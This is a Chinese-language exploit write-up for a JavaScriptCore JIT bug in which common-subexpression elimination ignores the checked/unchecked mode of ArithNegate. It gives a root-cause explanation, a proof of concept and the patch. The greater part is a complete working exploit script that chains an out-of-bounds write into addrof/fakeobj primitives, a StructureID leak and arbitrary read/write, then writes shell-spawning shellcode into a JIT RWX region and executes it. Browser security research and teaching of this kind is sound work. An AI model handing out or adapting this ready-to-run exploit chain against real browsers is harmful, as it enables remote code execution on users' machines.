环境搭建
git checkout 17218d1485b0f5d98d2aad116d4fdb2bad6aee2d
git < ./patch.diff
Tools/Scripts/build-webkit --jsc-only --debug
启动运行:
./jsc --useConcurrentJIT=false ./exp.js
基础知识
jsc 优化的四个阶段:
在jsc中会对以下的 JS 代码进行优化:
let c = a + b;
let d = a + b;
优化成:
let c = a + b;
let d = c;
这种优化称为 Common Subexpression Elimination (CSE),公共子表达式消除,但是像下面这种:
let c = o.a;
f();
let d = o.a;
就无法进行优化消除,直接使d=c,因为在调用f()函数的过程中可能会改变o.a的值。
在JSC中,对某项操作是否进行CSE是在DFGClobberize中实现的。
漏洞分析
漏洞点在于:
case ArithNegate:
if (node->child1().useKind() == Int32Use || ...)
def(PureValue(node)); // <- only the input matters, not the ArithMode
ArithNegate 操作中没有使用ArithMode,这可能导致 CSE 可以用 unchecked的 ArithNegate 替换 checked的ArithNegate,对于ArithNegate一个32位整数求反的情况下,整数溢出只能在一种情况下发生,即32位有符号整数的最小值INT_MIN:0x80000000(-2147483648),取反后为2147483648,然而32位有符号整数的最大值为0x7fffffff,不能表示2147483648,导致溢出。溢出后需要做的就是绕过checked 的溢出检查,例如将操作的checked模式转成unchecked模式。
最终要构造以下效果:
v = ArithNeg(unchecked) n
i = ArithNeg(checked) n
然后通过CSE 优化转化成:
v = ArithNeg(unchecked) n
i = v
(1)所以首先我们要得到一个v = ArithNeg(unchecked) n
ArithNegate 用于对整数取反,然而JavaScript中很多数据为浮点数类型,所以需要先将其转成整数:
n = n|0; // n will be an integer value now
此时,n为一个32位的整数,之后要构造一个unchecked ArithNegate操作
n = n|0; // 【1】
let v = (-n)|0; // 【2】
【2】在DFGFixupPhase处理流程中,对n取反会被转化成unchecked ArithNegate操作。在对取反的值进行or操作时,编译器会消除溢出的检查,因为即使是对INT_MIN:0x80000000 (-2147483648)取反后进行or操作,得到的值也是0x80000000,v的值不会溢出,所以没必要进行溢出检查。
js> -2147483648 | 0
-2147483648
js> 2147483648 | 0
-2147483648
(2)接下来要构造i = ArithNeg(checked) n
通过ArithAbs操作实现,只有当传入的n为负数时,才会将ArithAbs转化成ArithNegate操作进行检查,因为正数的绝对值是它本身,不会造成溢出,也不用取反。因此完成以下的构造:
n = n|0;
if (n < 0) {
// Compiler knows that n will be a negative integer here
let v = (-n)|0;
let i = Math.abs(n);
}
Math.abs会调用到ArithAbs 操作,之后 IntegerRangeOptimization将 ArithAbs转换为一个checked的ArithNegate(这里要进行检查,是因为 INT_MIN:-2147483648取绝对值后变成2147483648会造成溢出)。此时v 和 i 的值被认为是相同的,都是ArithNeg n,只不过模式不同,但CSE优化会无视模式不同,直接当成同一个值处理。
(3)准备条件已经完成,最后通过循环调用,触发CSE优化,转化成:
v = ArithNeg(unchecked) n
i = v
综上所述,poc如下:
function hax(arr, n) {
n = n|0;
if (n < 0) {
let v = (-n)|0;
let idx = Math.abs(n);
if (idx < arr.length) {
arr[idx];
}
}
}
触发漏洞前,IntegerRangeOptimization 在进入idx < arr.length
时将idx标志为恒大于等于0 且小于数组长度,此时传入的n为负数,idx=-n,通过循环训练,JIT会认为idx极大可能落在数组内,预测下一次访问也在数组内,从而消除数组的越界访问检查。
而触发漏洞,进行CSE优化时,传入的n为-2147483648,idx=v=-2147483648,依然为负数,小于数组长度,进入判断,但此时已经消除了数组的越界检查。上述最终效果是可以越界访问arr[-2147483648],造成crash。
后面要做的就是将idx从-2147483648 转化成任意数,越界读写后面对象的内容。修改poc如下:
function Foo(arr, n)
{
n = n | 0;
if(n < 0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if(idx < arr.length) {
if(idx & 0x80000000) { // 输入值为负时才能进行减法操作
idx += -0x7ffffffd; // idx = 3;
}
if(idx > 0) { // 由于前面的减法,IntegerRangeOptimization无法确定idx是否恒大于等于0,所以要加判断
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337);
}
}
}
}
通过idx-0x7ffffffd
使idx=3,因为此时JIT认为idx恒为正数,减去0x7ffffffd 并不会造成溢出,所以消除了ArithAdd的检查,所以从进入idx < arr.length
条件判断到越界写操作,一路的检查都被消除了,造成了OOB漏洞。
漏洞利用
构造addrof和fakeobj原语
根据poc可以越界改写后面浮点数数组的长度,构造一个可以越界读写的数组:
布置三个数组,地址如下:
[+] arr: 0x00007fe4f209e4e8
[+] oobAddr: 0x00007fe4f209ed68
[+] objAddr: 0x00007fe4f209ede8
调试观察它们butterfly的布局:
可以看到通过越界读写arr[3],可以将oobArr数组的length修改成0x1337,之后通过oobArr可以再一次越界读写,通过修改oobArr[4],可以直接修改objArr[0]的内容,由于oobArr为浮点数数组,objArr为对象数组,通过类型转化可以完成addrof和fakeobj 原语:
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
function AddrOf(obj)
{
objArr[0] = obj;
return f2i(oobArr[4]);
}
function FakeObj(addr)
{
addr = i2f(addr);
oobArr[4] = addr;
return objArr[0];
}
后面的操作就比较常规了:
(1)绕过StructureID随机化
(2)构造任意地址读写
(3)查找wasm rwx区域,写入shellcode,完成利用
绕过StructureID随机化
当加载JSArray的元素时,解释器中有一个代码路径,它永远不会访问StructureID:
static ALWAYS_INLINE JSValue getByVal(VM& vm, JSValue baseValue, JSValue subscript)
{
...;
if (subscript.isUInt32()) {
uint32_t i = subscript.asUInt32();
if (baseValue.isObject()) {
JSObject* object = asObject(baseValue);
if (object->canGetIndexQuickly(i))
return object->getIndexQuickly(i); // 【1】
getIndexQuickly直接从butterfly加载元素,而canGetIndexQuickly只查看JSCell头部中的索引类型和butterfly中的length:
bool canGetIndexQuickly(unsigned i) const {
const Butterfly* butterfly = this->butterfly();
switch (indexingType()) {
...;
case ALL_CONTIGUOUS_INDEXING_TYPES:
return i < butterfly->vectorLength() && butterfly->contiguous().at(this, i);
}
我们可以伪造一个JSArray对象,填充无效的StructureID等头部字段(因为getByVal路径上不验证,所以不会报错),然后将butterfly填充为要泄露的目标对象地址,就可以将目标对象的结构当成数据输出。
泄露StructureID的代码如下:
// leak entropy by getByVal
function LeakStructureID(obj)
{
let container = {
cellHeader: i2obj(0x0108230700000000), // 伪造的JSArray头部,包括StructureID等字段
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];// 访问元素会调用getByVal
//此时fakeObj[0]为Legitimate JSArray的JSCell,fakeObj[1]为Legitimate JSArray的butterfly
// repair the fakeObj's jscell
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
内存布局如下:
// container 对象:
Object: 0x7fe0cc78c000 with butterfly (nil) (Structure 0x7fe0cc7bfde0:[0xd0bd, Object, {cellHeader:0, butterfly:1}, NonArray, Proto:0x7fe10cbf6de8, Leaf]), StructureID: 53437
pwndbg> x/4gx 0x7fe0cc78c000
0x7fe0cc78c000: 0x010018000000d0bd 0x0000000000000000
0x7fe0cc78c010: 0x0108230700000000 0x00007fe10cb7cae8 // <---伪造的Butterfly,覆盖成目标对象地址
// 伪造的JSCell
pwndbg> x/gx 0x00007fe10cb7cae8
0x7fe10cb7cae8: 0x010823070000f1aa // <---- StructureID被当作数据输出
构造任意地址读写
泄露StructureID后,我们可以仿造泄露StructureID方法一那样构造一个JSArray,只不过现在StructureID填充的是有效的,可以根据Butterfly进行读写。
(1)首先伪造一个driver object,类型为对象类型数组,将driver object 的butterfly 指向victim object,此时访问driver[1]就可以访问victim object的butterfly,之后申请一个ArrayWithDouble(浮点数类型)的数组unboxed,通过driver[1] = unboxed 将victim object的butterfly填充为unboxed对象地址,同理此时访问victim[1]就可以访问unboxed object 的butterfly。
这一步我们可以泄露unboxed object的butterfly内容。代码如下:
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
(2)申请一个ArrayWithContiguous(对象类型)的数组boxed,和第一步一样,将driver[1]覆盖成boxed object地址就可以通过victim[1] 对boxed object的butterfly进行操作。将第一步泄露的unboxed object butterfly内容填充到boxed object的butterfly,这样两个对象操作的就是同一个butterfly,可以方便构造新的addrof 和 fakeobj原语。
代码如下:
var boxed = [{}];
driver[1] = boxed;
victim[1] = sharedButterfly;
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
(3)将driver object的类型修改成浮点型数组类型,将victim object 的butterfly 修改成target_addr+0x10,因为butterfly是指向length和elem0中间,而属性1prop位于butterfly-0x10的位置,访问victim.prop相当于访问butterfly-0x10 =(target_addr+0x10)-0x10=target_addr。
所以通过读写victim.prop就可以实现任意地址的读写,代码如下:
function Read64(addr) {
driver[1] = i2f(addr+0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr+0x10);
victim.prop = i2f(val);
}
任意代码执行
和v8的利用相似,通过任意读查找wasm_function中rwx区域,通过任意写将shellcode写入该区域即可执行任意代码。
完成exp代码如下(适配debug版本):
const MAX_ITERATIONS = 0xc0000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
function f2i(val)
{
f64[0] = val;
return u32[1] * 0x100000000 + u32[0];
}
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
function i2obj(val)
{
return i2f(val-0x02000000000000);
}
function hex(i)
{
return "0x"+i.toString(16).padStart(16, "0");
}
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
function MakeJitCompiledFunction() {
function target(num) {
for (var i = 2; i < num; i++) {
if (num % i === 0) {
return false;
}
}
return true;
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
for (var i = 0; i < 1000; i++) {
target(i);
}
return target;
}
var jitFunc = MakeJitCompiledFunction();
function Foo(arr, n)
{
n = n | 0;
if(n<0) {
let v = (-n) | 0;
let idx = Math.abs(n);
if(idx < arr.length) {
if(idx & 0x80000000) {
idx += -0x7ffffffd; // idx = 3;
}
if(idx>0) {
return arr[idx] = 1.04380972981885e-310; // i2f(0x133700001337);
}
}
}
}
let noCoW = 13.37;
let arr = [noCoW, 2.2, 3.3];
let oobArr = [noCoW, 2.2, 3.3];
let objArr = [{}, {}, {}];
for(let i=0; i<MAX_ITERATIONS; i++) {
let tmp = -2;
Foo(arr, tmp);
}
Foo(arr, -2147483648);
print("[+] now oob arr's length: " + hex(oobArr.length));
function AddrOf(obj)
{
objArr[0] = obj;
return f2i(oobArr[4]);
}
function FakeObj(addr)
{
addr = i2f(addr);
oobArr[4] = addr;
return objArr[0];
}
// leak entropy by getByVal
function LeakStructureID(obj)
{
let container = {
cellHeader: i2obj(0x0108200700000000),
butterfly: obj
};
let fakeObjAddr = AddrOf(container) + 0x10;
let fakeObj = FakeObj(fakeObjAddr);
f64[0] = fakeObj[0];
// repair the fakeObj's jscell
let structureID = u32[0];
u32[1] = 0x01082307 - 0x20000;
container.cellHeader = f64[0];
return structureID;
}
var arrLeak = new Array(noCoW, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8);
let structureID = LeakStructureID(arrLeak);
print("[+] leak structureID: "+hex(structureID));
pad = [{}, {}, {}];
var victim = [noCoW, 14.47, 15.57];
victim['prop'] = 13.37;
victim['prop_1'] = 13.37;
u32[0] = structureID;
u32[1] = 0x01082309-0x20000;
var container = {
cellHeader: f64[0],
butterfly: victim
};
// build fake driver
var containerAddr = AddrOf(container);
var fakeArrAddr = containerAddr + 0x10;
var driver = FakeObj(fakeArrAddr);
// ArrayWithDouble
var unboxed = [noCoW, 13.37, 13.37];
// ArrayWithContiguous
var boxed = [{}];
// leak unboxed butterfly's addr
driver[1] = unboxed;
var sharedButterfly = victim[1];
print("[+] shared butterfly addr: " + hex(f2i(sharedButterfly)));
driver[1] = boxed;
victim[1] = sharedButterfly;
// set driver's cell header to double array
u32[0] = structureID;
u32[1] = 0x01082307-0x20000;
container.cellHeader = f64[0];
function NewAddrOf(obj) {
boxed[0] = obj;
return f2i(unboxed[0]);
}
function NewFakeObj(addr) {
unboxed[0] = i2f(addr);
return boxed[0];
}
function Read64(addr) {
driver[1] = i2f(addr+0x10);
return NewAddrOf(victim.prop);
}
function Write64(addr, val) {
driver[1] = i2f(addr+0x10);
victim.prop = i2f(val);
}
function ByteToDwordArray(payload)
{
let sc = []
let tmp = 0;
let len = Math.ceil(payload.length/6)
for (let i = 0; i < len; i += 1) {
tmp = 0;
pow = 1;
for(let j=0; j<6; j++){
let c = payload[i*6+j]
if(c === undefined) {
c = 0;
}
pow = j==0 ? 1 : 256 * pow;
tmp += c * pow;
}
tmp += 0xc000000000000;
sc.push(tmp);
}
return sc;
}
function ArbitraryWrite(addr, payload)
{
let sc = ByteToDwordArray(payload);
for(let i=0; i<sc.length; i++) {
Write64(addr+i*6, sc[i]);
}
}
var jitFuncAddr = NewAddrOf(jitFunc);
print("[+] jit function addr: "+hex(jitFuncAddr));
var executableBaseAddr = Read64(jitFuncAddr + 0x18);
var jitCodeAddr = Read64(executableBaseAddr + 0x8);
print("[+] jit code addr: "+hex(jitCodeAddr));
var rwxAddr = Read64(jitCodeAddr + 0x20);
print("[+] rwx addr: "+hex(rwxAddr));
ArbitraryWrite(rwxAddr, shellcode);
print("[+] trigger shellcode");
jitFunc();
执行效果:
补丁
- def(PureValue(node));
+ def(PureValue(node, node->arithMode()));
添加arithMode,使CSE重新检查ArithNegate操作,判断是unchecked 还是checked 模式,并进入不同的处理,而不能直接互相替换。
参考链接
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-one.html
https://googleprojectzero.blogspot.com/2020/09/jitsploitation-two.html
https://www.anquanke.com/post/id/223494
https://bugs.chromium.org/p/project-zero/issues/detail?id=2020#c4
https://bugs.webkit.org/show_bug.cgi?id=209093
https://github.com/ray-cp/browser_pwn/tree/master/jsc_pwn/cve-2020-9802